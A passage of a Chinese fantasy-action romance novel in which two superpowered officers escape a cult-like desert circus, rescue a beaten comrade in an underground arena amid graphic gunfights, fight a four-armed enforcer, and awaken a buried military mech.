“呼……”周观逸终于调整好了心态,比起钢铁熊、搅拌机、僧人和驯兽师,那个吻,简直是比他们高了几个维度的冲击力。尤其这时候终于能平静下来捋一捋整件事情……结果发现根本捋不过来。整颗脑袋里是马戏团、季长岁的嘴唇、1号演出帐篷、季长岁扣在自己后颈的手、斗兽场、季长岁的舌头、僧人所说的“时间不认可”、季长岁的舌头在剐自己的…… 他像个蒸汽机,冒着白烟。 “那里面有睡衣。”季长岁走出来,“你洗澡的时候……小心点,地上有水,会滑。” “嗯。”周观逸站起来,保持镇定,跟他擦着身子挪过去。 房间有一扇窗户,但它不值得信任,两人都明白这里是地下,即便窗户外面有什么景色,也只是一块屏幕。 吊床没那么稳。两个人属于看着身材匀称,不算清瘦但也不是壮汉,可经过军警部门长久的特殊锻炼,肌肉密度比普通人高很多,这两个人其实蛮重的。 所以这吊床上睡觉,有一个人翻身、动一动,床就会跟着轻晃。晃动的幅度其实很轻很轻,轻到普通人可能都不会注意到,偏偏他们生来敏锐。 “睡。”季长岁手掌按在他手背,按一下就挪走,眼睛都没睁开,“别想了。” “嗯。” 完全放下警戒后这种程度的疲累非常快就睡着,其实在睡觉之前,周观逸隐隐想要“我守前半夜你守后半夜”的行军习惯。毕竟这个马戏团根本不值得信任,这觉睡过去还不晓得能不能再醒过来。但又有一种“死也是跟季长岁死在一起”的荒诞感。 做一辈子配偶,做一辈子家人。 周观逸立刻闭上眼……不对,不是这样的“一辈子”。 睡着之后,翻身的动作让吊床轻晃的那种感觉,像是涟漪着两个人的身体,莫名的睡得更沉。 平心而论这个房间非常舒服,它大多是木质结构,暖色调,吊床,两人睡在一条棉被里。包裹感、困意和身边睡着的这个人身上的安全感。 “早——上好!” “哎我草。”季长岁当即弹射一般坐起来,下意识要拔枪,但什么都没摸到。旁边周观逸跟他同步、同时从被窝里坐起来。 门口站着打扮成绿精灵的小姑娘,看起来是马戏团的工作人员——他们不论男女都穿着小精灵那种连体服,亮晶晶的,佩戴精灵耳和一对半透明的翅膀。 “两位先生!”小精灵没有迈进玄关,很有边界感,她一手托一个餐盘,“监测到两位已经醒了,胜者组的优待是——床上早餐桌~请问我可以进去吗?” “不可以!” “不行!” 两人异口同声。 “那我放在这里啦!”小精灵说。 虽然不知道她打算放在哪里但绝对不可以进来,周观逸看了眼旁边,季警官无助地抓着被子按在身上,尽管里面明明睡衣睡裤整整齐齐,但他捂着自己的那个势头仿佛他昨晚裸睡。 “谢谢。”周观逸应了一声。那个小精灵装扮的姑娘搁在玄关地上,退出去带上门,听见门锁咬合住的“咔”,季长岁如释重负,背靠在床头。 周观逸不得不安慰他:“她即便进来…其实也没什么的,我们都穿着。” “话是这么说,但……”季长岁视线不受控制地落在周观逸微敞的领口,睡得蹭开了一颗纽扣。这一大早,好吧不能确定现在外面是不是早上,只是一觉睡醒了而已。 周观逸的肤色很白,军人常年包裹着,尤其行军时要穿制服、阻燃服、防弹衣,多数时候就露一双眼,皮肤很少接触太阳。季长岁着急忙慌别开脸,掀了被子下床,说:“我去拿进来。” “那我洗漱。”周观逸也下床。吊床吱吱晃悠了两下。 之前进来的姑娘说了,这是胜者优待。所以自然会有败者组随便待一待或者根本不招待,季长岁把两盘早餐端进来搁在小圆桌上,那桌子太小了,两个盘子各悬空了一小半。门口还有两套衣服,是马戏团入场通道两边的周边店里卖的主题卫衣和运动裤。 很贴心,情侣款,一件紫色一件粉色,蛮搭的。 以及衣服袋子里有张邀请函,季长岁捏起来:尊贵的挑战者们,诚邀您参加三十五分钟后开始的马戏团花车巡游,我们在观赏巡游的过程中会为您提供甜美的糖果和巧克力。 季长岁咬一口三明治,把邀请函放下,边嚼边说:“不知道其他人怎么样了。” 希拉斯的话很明确,他口中的“你们的朋友们之中有非常厉害的战绩”,那么言下之意就是,除开1号帐篷地下的斗兽场,这个马戏团表演范围内,可能每个帐篷地下都有一个这样的地方。 周观逸拿过邀请函看了看,说:“这次来的都是中阶及以上,战斗系异能者,应该没太大问题。” 季长岁点头,继续吃早餐。而且在这里靠猜的根本没意义,季长岁吃饱了站起来,解开睡衣纽扣,随手抄了件卫衣套上,说:“你穿那件吧,感觉差不多,我到门口等你。” “嗯?”周观逸没明白为什么是去门口等自己。不过换衣服的时候他明白了……季长岁在避免看自己换。莫名其妙的,周观逸略微有点不爽,分明主动亲过来的是他,现在躲出去的又是他。 周观逸抻好衣服,跟出去。 这地方走廊上装饰得像万圣节,走廊不宽,但这条走廊,也就是从楼梯间到下个转角,只有他们一个房间门。 季长岁回头看看他,清清嗓子,手掌往墙上贴。周观逸安静地等,这里必然是要供电,供电就会有线路,有线路,机械异能者就能够分析。 “五个。”季长岁继续驱动,“五个帐篷,整个地下是连通的。” “有自己人吗?”周观逸问。 “看不太清楚。”季长岁刚要加强异能驱动,手被周观逸牵了过来,是他按在墙上的那只手,“算了,别看了,太耗精神力。” 周观逸没说错,这是个非常庞大的地下空间,而且现在要先出去,回去地面。“走那边。”季长岁指了一下走廊转角,刚刚探测到了那边有个电梯。 走到了发现那是个手扶电梯,并且地面画了一只张大嘴巴的紫色巨兽,这样一来,坐手扶电梯下去的时候,就是慢慢滑去巨兽的嘴里……挺有马戏团风格的。 音乐二十四小时不间断,地面已经黄昏,人还是很多,几乎要把那个不算太大的2号帐篷挤炸了。 “走。”季长岁抓过他手,“去找陶诚。” 按照计划,陶诚带着人在镇子东侧的电塔上高位狙击。季长岁明白,仅凭他们两个人并不能把这么大个马戏团端了——不是不能端,平民百姓太多,几发精准指导下来别说下面那个萨奥3号了,镇子外面那圈沙丘都要重新被风再堆一次。 他们穿着一样款式的卫衣,奔跑在人群里。人们来自世界各地,各种肤色,说着自己的语言。手里没枪心里没底,季长岁开始理解周观逸的火力不足恐惧症,这时候不说别的,手里但凡攥一把左轮,他都能宽心很多。 “亲爱的朋友们!” 是侏儒的声音,扩音器四面八方,季长岁停下,换了个角度继续牵着周观逸。他手里没枪,必须要攥着点什么让自己安心。 人潮立刻向他们侧后方涌动,这些人的疯狂程度让季长岁感觉诡异,真的会为了马戏团表演而如此疯魔?或许是他世面见得还不够多,因为季长岁眼睁睁看着——或者说,是高阶异能者对环境的强感知能力,就在距离他和周观逸所站的地方大约25米左右,有几个人摔倒,其余人根本不理会,直接踩过去。 一个一个地踩过去…… 季长岁蒙了,因为这里场地算得上宽敞,他们明明可以绕开,但这些观众们毫无感觉。 “你……你看到了吗?”季长岁问。 “看到了。”周观逸紧了紧手,“先冷静,这些人有点…他们不像是来看表演的。” 季长岁不解。 太阳下山了,余晖在沙丘的尖顶向这边看戏,依依不舍似的。 “咻——”“嘭!”烟火在残阳最后的光线离去后腾空而起,人们爆发出更大的欢呼。花车从2号帐篷后方缓缓驶来,那是个相当“马戏团”的花车队伍,巨大的紫色章鱼打头,中间一些小丑抛球,接着是一片花网,希拉斯站在花网最上方的小平台上。 还是那个话筒,似乎是为侏儒量身打造,希拉斯站在它前面,笑得很标准:“oh,似乎发生了一些惨烈的踩踏事故,朋友们,不能这样。” “你刚刚说,他们不像是来看表演的。”季长岁跟他手臂贴着手臂,在这些疯子中尽量紧紧依靠,“那你觉得他们像是来干什么的?” “像是来……” 随着周观逸说话,侏儒从他西装口袋里掏出一把……蝴蝶,那些蝴蝶飞向那边地上半死不活,或已经死了的人。 周观逸继续说:“像是来朝圣的。” 那些人,“活”回来了。 他们爬起来,如溺水后肺叶重新舒张般猛吸一口气,再向后仰,如重新调整骨骼。 “Ohhhh——!!”人群庆贺。 “时间就是生命,我的朋友们。”侏儒笑着说,并精准地看向人群中的他们。 50-60 第51章 第51章周观逸给他搞了把枪。…… 陡然之间,季长岁有一种世界观龟裂的错觉。 那是起死回生吗?这不符合自然规律吧?这种“魔法”有什么前置条件吗?如果说他可以随心所欲把一个死人拉起来,那么…… “唐枯木。”季长岁一时没办法把语言组织清晰,“他那个…他一直活着,是不是因为他、他一死就,就再让他活过来……吗?” 季长岁这话说得一截儿一截儿,不过周观逸能听明白。他刚要说话,后面有人一把拨开两个人,兴奋、狂喜地穿过去,试图挤去前面,更加靠近希拉斯。“哎…”季长岁被迫跟周观逸被越挤越远,这些人真是有劲,季长岁已经很久没被人一胳膊肘肘出两三步了。 人越来越疯狂,马戏团的保安们拉起人墙让花车正常行驶。季长岁习惯性想要摸一下领子,但衣服上并没有通讯器。他以前维护过一些追星现场,当时还觉得那些人挺疯狂的,现在看来是他见识浅薄了,那才到哪儿。 “好啦好啦朋友们……”希拉斯笑着说,“不要再搞出这种麻烦的事情了。太阳下山了,来到马戏团新的一天!” “砰砰”两声,从花车的礼炮里迸发出来漫天的各色糖果,这些人拼了命地跳起来抓。季长岁手心里落了一颗,他听见旁边的人羡慕到声音颤抖,问他:“天哪,天哪,你可以把它卖给我吗?可以吗可以吗?” “……”季长岁看看他,又看看手里的糖,问,“这有什么特别之处吗?吃了会怎么样?” “会幸福!”路人回答。 “所以,只是普通的糖果?” “对!” “……”季长岁直接给他了,“拿去吧,我得去找我朋友了。” 他们被人群冲开来,没有通讯设备。混乱的糖果雨里,花车上打扮怪诞又可爱的男男女女跳着舞,魔术师用漂浮术跟在两侧,他们把礼帽变大,大得像司马光砸的那个大水瓮,然后从里头抓出一只小丑,再将小丑抛向人群。人们像举起球星那样把小丑托着抛起来,小丑再“嘭”一下消失。 季长岁一路挤着人群,一路释放着异能,利用这些人的手机信号追捕着军警信号。当然,也需要一些运气,军警的信号往往有隐蔽性,尽管季长岁知道频率也需要碰上了才能识别。 不可避免的,他也窥探到了一些人手机里见不得光的东西……怪就怪他观察力太强,一闪而过的东西都非常清晰。什么几点见心理医生,几月几号去杀了谁,下周妻子出差,去和谁睡一觉。直到季长岁挤出最挤的人群之外,终于通过一个智能手表的传输射频感知到了陶诚的通讯器频率。 他正要跟着这道频率发信号时,忽地整个人僵立在了原地。 不对,这段射频太近了。陶诚应该在起码5公里以外,但这段信号射频源头的距离,最多最多20米。 “接下来~向大家介绍我们的特别来宾,他们是不远万里前来抓捕我们的军人和警官!”希拉斯说。 季长岁像是被什么击中了,瞳孔在颤动。他回头——那游行的花车行进得很慢,其中最大的那台车上有个投影仪,深浓的夜空中悬浮着幕布,幕布上正在播放斗兽场里的直播画面。 画面里,陶诚浑身是血跌坐在地上,他的对手是个身材有两个陶诚那么壮的壮汉,正在陶诚周围踱步。 这种无助感在季长岁三十年的生命里很少出现,多数时候他是那个高狙位,所有队友都在他的视野范围,高精狙的子弹有的能比他手指还长些,基本谁来杀谁。所以他从未有过眼睁睁看着自己人倒在那儿自己无能为力的情况。 “真是不自量力。”附近有人说,“居然敢来挑战马戏团,再说了,这里又不是违法的表演!有病!” “是啊。”有人附和,下巴向空中那屏幕画面扬了扬,“瞧瞧,过来丢这个脸做什么,警察哪里打得过斗兽场的战士?!” 他们讥讽着,沾沾自喜着。季长岁不管路人作何评价,眼睛愣愣地看着屏幕。他试图在画面里找一找其他人的身影……出发过来时每组七个人,画面里只看到了陶诚。想来是因为他跟周观逸结婚了所以算作一个整体。 季长岁很紧张,这种紧张干扰了他的判断,这时候他既想要盯着屏幕,又要马上去找到这个斗兽场位于哪个帐篷下方……可是身体被定在原地。 陶诚又被踹飞,后背轰地砸在墙上,跌下来跪在地上,手掌撑着,嘴巴不停吐着血。那血是黏稠的,同时他在干呕,腹部一抽一抽。陶诚是他的下属,季长岁只感觉胸口浑浊,呼吸的每一下都要用力,否则空气吸不进肺叶里。他压着喉咙,像是要把什么东西压回肚子里才能开始思考。 思考,想想这时候要怎么办。 鼻腔里涌进来谁的信息素,又是谁在这种场合没有贴抑制贴……“嘭!”希拉斯精准击杀,并且又一次强调不要胡乱释放信息素。有枪……有枪就好了,他很无助,机械异能者可以强化子弹,他要杀了希拉斯,就现在。 不必带回昶州跟加兹拉尔关一起了,呼吸得好费劲……季长岁再次吞咽,他把视线从屏幕挪开不再去看,拨开人群跑向最近的帐篷。 蹲下,手按下,驱动异能向下探测……没有,下方没有电力波动。 季长岁起身继续狂奔,下一个帐篷,还是没有。他有些喘,再抬头,陶诚已经有一只眼睛没法睁开,不知道是受创还是被血完全蒙住。那边花车欢乐的音乐和屏幕里的画面同步刺激着他。 四年前蛇岛,违法盗取器官的团伙主谋郴自勇,因抓走了他的下属何书清,那是个丧心病狂的团伙,何书清被带走会遭遇什么,季长岁侦察过那么多案子,他心知肚明。那次他把郴自勇活活打死了,也是像这样受了非常大的刺激。 那花车播放的音乐类似圣诞的节日歌曲,欢乐、温馨、甜蜜。屏幕里,陶诚在爬,地上一条歪歪扭扭的血迹。 季长岁觉得视线隐隐出现重影,悬挂在帐篷翘角的灯泡像是剧烈散光,在炸着绚烂的烟花。季长岁没有发现,自己的眼白开始悄悄泛出蓝色。这不妙,大部分异能者失控的前奏就是这样,他们意识不到自己异能的溢出。 帐篷里有人走出来,季长岁没有在乎,他甚至有点想跑过去告诉希拉斯,他可以加入这个马戏团,或者他那个让人起死回生的跟邪教似的组织,都可以的,把他的下属们放了吧。这一切实在太荒谬,高阶机械异能者而已,凭什么他们这么渴望? “拿着。”一道声音响在耳畔。 刚到昶州,和周观逸第一次见面的那个雨夜,从他警用通讯器里传出来的就是这样的声音。很抓耳,有些凉,季长岁霎时理智回笼,他转头,看见周观逸站在帐篷口。 并且,手里被塞了一把Akm。 “你……?”季长岁纳闷,“哪来的?” “偷的。”周观逸指了下里面,“这个帐篷里是马戏团保安在休息,你排查了几个帐篷?” “看了两个,这是第三个。” “除开1号帐篷,只剩一个了,走。”周观逸说。 他紧绷的神经有所舒缓,不知是周观逸,还是抱在手里的枪。Akm基于Ak-47改良而来,使用冲压机匣,整枪比它的“父辈”Ak-47更轻,倾斜制退器有效减轻后坐力,马戏团给保安配备Akm非常合理。 重点是,季长岁也很喜欢这款枪。 4号帐篷门口,两人迈步进去。踩在当时1号帐篷他们掉下去的地方,季长岁蹲下,手按下去:“摸到开关了。” “打开。” 提前做了准备,两人自由落体时候调整了一下落地姿势。和1号帐篷不太一样,当时他们直接落在斗兽场中央,4号帐篷的落地点是观众看台。 “啊——!!”后排观众有人发现他们,开始尖叫,“有枪啊——!” 看台上是另一个侏儒,他比希拉斯更胖些,紫色礼服的纽扣在他腹部很吃力。 “保安!”侏儒大喊,“驱逐无关人员!” 旋即,他们身后的墙体暗门打开,从里面走出来抱枪的人,胸前交叉背挂着子弹条。每个人蒙着面,戴护目镜,装备居然还不错。 是对比这两位穿着马戏团卫衣来讲,他们装备还不错。 看见那些子弹条,季长岁控制不住地微笑。 斗兽场中央,那壮汉也被吸引了目光。陶诚趁机扑过去,用尽残存的力量扑到壮汉,爆发出野兽最后的咆哮全力一击! 然而他并不是壮汉的对手,那壮汉也只是走了一下神而已。壮汉冷笑,在笑他不自量力,一手又将陶诚掀去地上,朝旁边“呸”了一下,他被陶诚爆发一拳打掉了一颗牙,污浊的血吐在地上。 陶诚已然没有一点力气,默默闭上了眼。 “嘭!” 子弹声,壮汉被爆头。 陶诚见过人类被近距离爆头的画面,但眼前这样的,对他来讲还是太超过。 壮汉被季长岁“爆头”了,是整颗头“爆”掉。通常来说,Akm所搭载的步枪子弹在远距离射击不至于造成如此炸蛋花的程度。 但那是一颗被机械异能强化过的子弹。壮汉爆开一地的脑浆,头面部如同失手掉去地上的鸡蛋,还是颗坏了的、臭掉的,散黄的蛋。 陶诚撑着胳膊往后蹭了蹭。紧接着,观众席那边开始交火。 枪托格在肩上,向整个后肩胛传递后坐力,两个人在近距离交火方面训练有素。而季长岁也一如他此前所想的。 有枪就好了。 然后周观逸给他搞了把枪。 第52章 第52章他脑袋里不合时宜地蹦出…… 季长岁立刻蹲身矮下去,以看台椅背为掩体。然而事实上这些在影视剧或动画片里被“强化”过头了的东西,譬如椅背、车门、木质的门板、放倒的餐桌……它们在一些荧幕作品里简直堪比凯斯拉夫。然而事实是,一辆普通家用车,只有发动机和轮毂钢圈部分能够阻挡子弹,其余部位几乎都会被贯穿,几个窟窿进去,穿几个窟窿出来。 所以季长岁蹲下来后只是利用椅背做视线干扰,他矮着身子在混乱惊呼的人群里边躲边射杀保安。得益于观众们一个个身着华服,巨大的裙撑、浑身缠着绷带,以及一些季长岁看不懂的穿着,他在躲闪的时候绝对确信自己踩到了谁的假发,是某位男士的,也太长了吧季长岁腹诽着怎么出门戴这么长的假发,你人都跑出去了头发还留在这儿。 斗兽场里像是火开太猛的汤锅,又烫又乱七八糟。这个场里的侏儒显然没有希拉斯那般能耐,他见状不妙转头跑了,十几个蒙面保安举着枪朝人群里突突。尽管目标只有周观逸和季长岁两个人,但比起仔细分辨谁是谁——毕竟这个场里也有不少和他们一样穿马戏团周边卫衣的人——所以不如无差别射杀来得高效率。 季长岁一直矮着身子环绕观众席,他要下去把陶诚带走。 室内近距离枪击,血肉横飞是常态。现代步枪子弹在高阶机械异能强化下,一枪过去,穿防爆防弹衣的保安有一些内脏碎片甩去他背后逃跑的观众脸上。 保安中枪后没有立刻倒下,他呆滞地凝固了片刻。就是这个片刻,季长岁先把自己枪里的子弹打完,剩4、5发的样子,打完将Akm一扔,冲上去扯走保安手里的枪和肩上弹药。 他转头,周观逸和他进度差不多,这环形看台以他们落地位置向两边肃清,周观逸恰好此时在他正后方。 两人都是一脸血,周观逸也是这时候很默契地回头确认他的安危。季长岁喘了几下,转回头继续射杀,不停有保安从墙的暗门里出来。季长岁和周观逸都明白火力压制才是这世界上相同物种之间最强、最不讲道理的压制。 冲锋枪在季长岁手里像是开了挂的fps游戏,他稳得像个点射机器,高阶机械异能几乎弥散在整个斗兽场里,迫使整个室内温度下降,像是谁加了大冷气。 季长岁如鱼得水,俗话说手里有枪心里不慌,这个“慌”在大部分人的概念里是自己持有火力输出而不会心慌。可在季长岁这里是……有了枪,就不用去跟人格斗,少了失控发疯的风险。 “看到了吧。” 花车上,希拉斯的手机屏幕上转播着4号帐篷地下斗兽场的画面,空中那块屏幕已经被关闭,换上了魔术表演录像。 “抱歉,先生,4号帐篷有近20个守卫,还是没能阻挡周观逸。”一个男人半跪在他身边,“请您惩罚我。” “啊不。”希拉斯换了一只手拿手机,“你已经做得很棒了,孩子。我只是叫你看一看季长岁,哦这个军官其实也不错,但机械异能,看,他可以强化子弹,你知道这意味着什么吗?” “我不明白,先生。”男人的头垂得很低。 希拉斯顺手摸了摸他的头发,说:“说明他可以强化所有机械造物,他一颗子弹,可以贯穿十数人,加以开发,他的一颗炮弹,或许能够把一座城市夷为平地。” “那的确是相当强大的能力。”男人说。 “所以啊。”希拉斯放在他头发上的手陡然一用力,扯着男人的头,迫使他抬起来,“迪洛安,我要得到他,他可以驱动萨奥三号,到那时候,我们在这片土地上将没有敌人。” “好的,先生。” 希拉斯看着他,说:“迪洛安,我最强的孩子,我将赐予你无尽的时间。” 他说着,从口袋里握出来一把亮晶晶的,很小的蝴蝶。它们环绕在迪洛安周围,每只蝴蝶振翅时,跟着散落点点晶莹的,像是漂浮在阳光里的尘埃。那些颗粒物悉数落在迪洛安身上,他仰着头,眼中似有泪水,声音颤抖:“先生……” “去吧。”希拉斯说。 “可是先生……”迪洛安哽咽,“我并不能战胜他。” “孩子。”希拉斯笑了,“你挟持周观逸,他会缴械投降的。” 迪洛安眼睛亮起来:“我明白了。” 周观逸跟季长岁一起把陶诚扶起来:“小心点,他可能会有内出血,慢慢扶。” 季长岁的枪背去后肩,蹲下来:“陶诚,怎么样?认得出我们吗?” 地上陶诚仍是只有一只眼睛能睁开,另一只眼睛全是血,他张了张嘴但发不出声音。季长岁点头:“好,没事了,我们带你出去。” 陶诚毕竟是中阶异能者,尽管身上不晓得断了多少骨头,但刚刚枪战交火的时间里他一动不动平躺在地上,微小地自愈了一点点。虽然说不出话,但顽强的意志力撑起他,让周观逸和季长岁一人架着一条胳膊站了起来。 “往哪儿走?”季长岁有点懵。 “这边。”周观逸枪头对着铁栅门一通扫,锁头扫烂后把门踹开,“走。” 季长岁一手拖着陶诚一手拿枪,来到这个地方之前预料到了不会非常顺利,但他也的确没想到希拉斯能狠到这个地步,或者说是他轻敌了,因为他的观念仍被人类社会的普适规则所影响,认为他们会对军警过来的高阶异能者抱有些畏惧。 然而希拉斯马戏团和普通犯罪团伙并不一样,比起“团伙”或“组织”,他们更像是一个“教会”。 希拉斯是他们的教皇,那么这个教皇大概率,会有几位相当得力的“主教”。 铁栅门后面是错综复杂的走廊,季长岁用异能边探路边扶着陶诚走。“有人。”季长岁说完,下一个弯角,迪洛安出现在阴影里。 不得不说迪洛安的穿着打扮真的很像一个“主教”,曳地的长袍,身躯以一个略显病态又略显虔诚的弧度佝偻着。 接着,迪洛安双手从袖中探出来。季长岁发现他没有武器,两手空空,于是抬起枪:“让开。”他声音冷锐,没什么耐心,没有第一时间开枪是长久以来的职业素养在束缚他。 就像不要失控那样。 其实任由自己近战格斗的能力去自由发挥,他全然可以像是压榨一辆车发动机马力一样爆裂式地全部释放自己所有异能来强化皮肤和骨骼,不管不顾从这马戏团的入口以碾压式的战斗力杀到沙漠另一端,不分敌我。 但那样是错的。所以他这样的人,一定要进入军警,而且要从很小年纪就进入军警系统接受教育。因为到未来,只有这些自小的,根深蒂固的东西才能约束他。 所以他没有开枪。 多数时候季长岁是个不会在意这些矛盾的人,他会遵循自己所认定的规则。无论身处的环境是否被监察着。譬如在无人区杀人,在不被监控覆盖,或是绝对不会被任何东西监测到的地方做一些法外狂徒式的行为。 这也是机械异能所带来的影响,“规则”就是一种“机械运作方式”。 马戏团里,花车还剩最后一段路就要结束巡游。希拉斯仍然在看手机屏幕,迪洛安身上的微型摄像头正对着那三个人。 这是一次隔空的心理博弈,希拉斯派去的迪洛安只是个较为高等的搏击异能者,手无寸铁,不会率先做出攻击动作。那么季长岁会直接开枪吗?希拉斯觉得不会,他是警察,是柯帆一手带出来的警察。 他从记事起就循着那样的规则而活,开枪,他将击毙一个名为“季长岁”的警察。 “让开。”季长岁重复。 迪洛安很安静,他就站在那儿,垂着头,看起来非常卑微:“我不是你的对手,你留下,他们两个人可以走。” 季长岁直接上步一枪托砸过去,迪洛安侧闪、垫步,直接冲着周观逸去!周观逸完全拖着陶诚,他不敢松开手,怕陶诚跌下去摔个好歹。季长岁也看出来了,幸而走廊比较窄,他一枪杆横过去,垫步跃起、正蹬,迪洛安没能站稳,被正面一脚踹地后退几步。 迪洛安站定,抬头,视线越过季长岁。他浑身肌肉震动一样在鼓动,藏在那袍子下面的胳膊粗了两圈,迪洛安喊了个颇为悲怆的声音,一拳抡向季长岁!季长岁顺势将步枪竖起来格挡,另一只手侧身单羊顶! 季长岁一愣,手肘顶过去时他意识到此人的肌肉非同小可:“周观逸你先走。” “什……”周观逸难以置信,他们两人之间还是第一次上演这种你先走别管我,不我不走的戏码。这太荒谬了。 甚至于迪洛安的后背,肩胛骨下方又“长”出两条手臂时,周观逸还是觉得季长岁的“你先走”要更荒谬一点。 “草。”季长岁骂了一句。地上的影子,如果给迪洛安脑袋上戳两根弧线,他跟一只巨型蟑螂没什么区别了。 季长岁卸力化劲,但同时被迪洛安格掉步枪。眼睁睁看着一个人类长出两条多余的手臂这件事实在让季长岁相当震撼,而且另外两条手臂更加长,像猿猴,也更健硕。 他脑袋里不合时宜地蹦出来很多东西—— 譬如,那些手臂上的肌肉是随意肌吗? 譬如,平时收在哪里呢,后背里吗?每次洗澡的时候要长出来搓一搓吗? 譬如,如果想要纹身但又想考公务员的话,纹在那个手臂上岂不是完美作案? “嘭!”迪洛安新长的手臂将周观逸掐着脖子按在墙上。 季长岁侧过视线,发尾在眼角滑过,形意拳上步半步崩拳,一拳直出,迪洛安几乎呕血。膀手拦住迪洛安的右摆拳,季长岁垫步再一拳! “呃……”周观逸攥着那只手,借墙力奋力扭身一转。“咔”一声,迪洛安有所松动,他约莫腕骨被周观逸扭骨折了。 第四条胳膊迎面又要撞来一拳! “嘭!” 地上的陶诚捡起枪,朝迪洛安开火了。 第53章 第53章“你要……回去了吗?”…… 枪声在走廊里久久不消,墙壁天花板和地板组合而成的声场中,仿佛能肉眼看见枪声震荡的波纹。 希拉斯将手机锁屏收回口袋里。今天仍在马戏团表演日,他必须保证自己是一个优雅的侏儒,扶正他自己打成糖果外形的领结,孩子们喜欢他这样,然后照常微笑,站在花车的最高点,用最矮小的身躯俯视所有人。 手在口袋里将手机捏到裂开,面上依旧风轻云淡,向小朋友挥手,叫花车继续泼洒糖果。 迪洛安被步枪子弹贯穿胸膛后先是脱力跪下,接着脸对着地一头栽下去。季长岁首先想去确认周观逸有没有事,不过周观逸自己走了过来,并把他向自己身后拽了拽。周观逸说:“先离远一点,万一体内有什么毒气……” “这点距离应该起不到作用,先走。”季长岁不仅没远离,他想了想,“你把陶诚背着。”然后他把迪洛安扛在肩上。 周观逸相当震惊且不能理解,但他没阻止,季警官这么做一定有…大概有他的道理。季长岁感知到了他的困惑,回头跟他解释:“我不想让希拉斯复生他,而且这人带回去应该有点研究价值。” “……哦。” 从斗兽场返回地面要穿过选手居住的区域,仍然是季长岁用异能探路,地下的布局差不多,季长岁一手扛迪洛安一手拿枪,最后走到手扶电梯,回头:“陶诚开枪的事,就当没发生过。” “放心。”周观逸说。 “好。”季长岁迈上电梯。 地面和地下是两个世界,彩色灯柱漫天乱飞,气球和糖果像羽毛似的飘在人们身边落得缓慢。几个人这么个阵仗很快被人发现,小精灵装扮的工作人员吓得丢掉了一盘子香槟,尖叫:“啊——你杀了迪洛安大人!!!” “是的,再大点声儿。”季长岁说。 “啊!!!”那分辨不出男音女音的小精灵仿佛看见了这辈子最恐怖的画面,扭头跑进人群,边跑边大喊,“有人杀了迪洛安大人!!” 季长岁回头:“要先带陶诚离开这里,他的组员说不定也在下面的某个斗兽场,你会偷手机吗?” “……?”周观逸反应了一下子,“你的意思是叫我偷个谁的手机联络援军对吗?” “对啊。”季长岁说,“紧急情况,所以会吗?” “……我可以试试。” 季长岁点头:“交给你了,我去下1号帐篷。” 周观逸看着他,被路人撞了一下,说:“你要去驱动萨奥3号。” 季长岁笑了,这个笑很真心,因为周观逸已经懂他了:“对。把这儿一锅端了。” 此前的行动计划比较保守,昶州的计划是几组人潜入这里,神不知鬼不觉地掳走希拉斯。不破坏这个马戏团的整体,也不被群众所注意。在前置条件不足的情况下抓捕希拉斯这个外籍人员还是秘密行动更稳妥,但现在不一样了,这家伙养了一堆、一大堆怪物。 “通知斗兽场。”希拉斯回到花车车厢里,对旁边人说,“所有人出来干活。” “明白。” “杀了他。”希拉斯攥着拳头,“杀了季长岁。” “明白。” 季长岁返回1号帐篷,因为扛着迪洛安,一路上人们很自觉地给他让道。迪洛安在马戏团应该是个举足轻重的人物,1号帐篷的保安在看见迪洛安尸体的瞬间捂着脸蹲在地上嚎啕大哭。 季长岁在地上摸索了两下,找到活动的砖块,异能撬开锁扣。 向下坠落的同时,和第一次掉下来一样,完全释放开异能,去找那个庞然巨物。 铃鼓叮叮泠泠地从周观逸耳边旋绕过去,他搀扶着陶诚。还好马戏团观众多少都有点神经兮兮,陶诚浑身的血,步履蹒跚,并没有太吸引人们的注意,因为同时还有眼珠子挂在下巴上的万圣节打扮的人走来走去。 周观逸成功偷到了一部手机。他搀着陶诚继续往前走,走到相对人少的地方,把手机递给陶诚:“我没有设备,你能用它找军方信号吗?” 陶诚很虚弱,喉咙不知是什么原因,可以喘气但不能说话。电磁类的异能者,中阶,陶诚在中阶异能者中可能是优秀那一档的,因为周观逸还没看个明白,他就搞好了,手机还给他,点了下头。 周观逸扶着他找了个堆放杂物的箱子慢慢坐下,然后走去最近的服务员那儿,把手机塞给他:“捡到的。” 陶诚的气息越来越不稳了。周观逸有点担心,他按了按陶诚的肩膀:“撑住啊,援军就在沙漠里。” 陶诚气音“嗯”了一下,发出的声音更像“哼”。 就在陶诚以为自己即将死在这里,和这片沙漠在日落后一样失去温度,长久地化作风拂过的一颗砂砾时。 他忽然感觉屁股下边的箱子晃了晃,接着他身子一侧就要跌下去,被周观逸又一次扶住。周观逸手扶着陶诚,眼睛看向马戏团中心。 地面先是鼓起,1号帐篷很大,是马戏团最大的帐篷。它整体是暗紫色,从尖顶中央装饰着灯串。地面鼓起来时,它像个玩具被顶去一边,甚至因为外形够圆而滚了两圈。 萨奥3号。多年前在萨奥战役中立下汗马功劳的大型可控战斗机甲,它由总军区上将潘梦昭设计制作,当初驾驶它的人是潘梦昭的丈夫,高阶机械异能者,季亦华。 萨奥战役中,夫妻为了疏散群众最后撤离双双殒命。所以萨奥3号因为过于庞大,所需要的驱动力相当严苛,军方在战后将其深埋于地下。 “天哪。”周观逸暗叹出声。曾经在总军区他看过一些关于萨奥3号的资料,它的前身有1号和2号,但都无法让潘梦昭满意,她是个很严格的设计师,1号和2号留在军区里当大门护卫,至今仍运行良好。 资料上,萨奥3号拥有9根机械触须,每根触须的每一段使用特殊材料以精妙的方式衔接,对比章鱼触手做仿生设计,座舱是水母头部的形状,作为座舱和弹药存储。并且每根触须上每个吸盘的位置,潘梦昭都做了一个射击口。 在当时搭载破甲弹和火箭筒弹,并且每根机械触须上都布满传感器,它们在射击的瞬间能够预演弹道,不会伤害到其他触手。 萨奥3号即便放在今天,也是不折不扣的杀戮怪物。 所以“火力不足恐惧症”这种东西它大概是军区里服役人员的通病,从潘梦昭对萨奥3号的设计就能窥见一二,她搞这个东西出来简直可以单人单兵拿下一个小国。 自然,前提是它要有一个足够强大的驾驶员。 季长岁感觉到了,因为他驱动萨奥3号有些许的吃力。 座舱内的操作杆有4个,2个是移动杆,另外2个是座舱升降。头顶一大片看不明白的按钮,面板又是一大片不知道谁对谁的拨杆。其实能搞清,但那样太费时间,全异能驱动可以让它动起来,就是有点费劲。 以至于他的异能穿过、穿透每一个零部件都留下了肉眼可见的光亮。 周观逸看见了……闪闪发光的萨奥3号。 所以有观众认为这是表演的一部分,甚至在为他鼓掌。 